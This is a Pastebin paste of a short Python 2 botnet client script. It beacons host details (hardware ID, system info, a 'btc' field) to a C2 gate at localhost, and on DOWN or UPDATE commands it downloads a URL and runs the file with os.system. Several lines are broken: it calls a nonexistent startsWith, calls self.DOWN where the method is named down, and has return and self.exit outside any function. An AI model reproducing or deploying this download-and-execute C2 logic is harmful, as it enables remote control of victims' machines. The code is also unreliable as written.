bwall

Untitled

Sep 2nd, 2013
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1. # -*- coding: utf-8 *-*
  2. import httplib
  3. import urllib
  4. import threading
  5. import time
  6. import hashlib
  7. import os
  8.  
  9.  
  10. class Bot():
  11. def __init__(self, version, country, windows, hwid, sysinfo, btc):
  12. self.version = version
  13. self.country = country
  14. self.windows = windows
  15. self.hwid = hwid
  16. self.sysinfo = sysinfo
  17. self.btc = btc
  18. self.connection = 0
  19. self.removed = False
  20.  
  21. def down(self, url):
  22. '''Download and execute binary'''
  23. m = hashlib.md5()
  24. m.update(url)
  25. filename = m.hexdigest()
  26. urllib.urlretrieve(url, filename)
  27. os.system("python " + filename)
  28.  
  29. def connect(self, logger):
  30. if self.connection == 0:
  31. logger("Bot %(hwid)s has started" % {'hwid': self.hwid})
  32. if self.removed:
  33. return
  34. #connect to the C2
  35. try:
  36. conn = httplib.HTTPConnection("127.0.0.1", timeout=5)
  37. params = urllib.urlencode({"version": self.version,
  38. "country": self.country,
  39. "windows": self.windows,
  40. "hwid": self.hwid,
  41. "sysinfo": self.sysinfo,
  42. "btc": self.btc,
  43. "connection": self.connection})
  44. conn.request("GET", "/gate2.php?" + params)
  45. response = conn.getresponse()
  46. data = response.read()
  47. if data != "":
  48. # Parse the data a bit
  49. data = data.replace('<\\\\\\>', '')
  50. if data == "REMOVE":
  51. self.removed = True
  52. logger("Bot %(hwid)s has uninstalled itself" % {
  53. 'hwid': self.hwid})
  54. if data.startsWith("UPDATE "):
  55. # Remove self and do the same process as DOWN
  56. self.removed = True
  57. self.DOWN(data[7:])
  58. if data.startsWith("DOWN "):
  59. self.DOWN(data[5:])
  60. self.connection = 1
  61. except:
  62. logger("Bot %(hwid)s has timed out when connecting to the C2" % {
  63. 'hwid': self.hwid})
  64.  
  65.  
  66. def Logger(message):
  67. pass
  68.  
  69. bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs")
  70. while True:
  71. bot.connect(Logger)
  72. for i in range(0, 30):
  73. if self.exit:
  74. return
  75. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment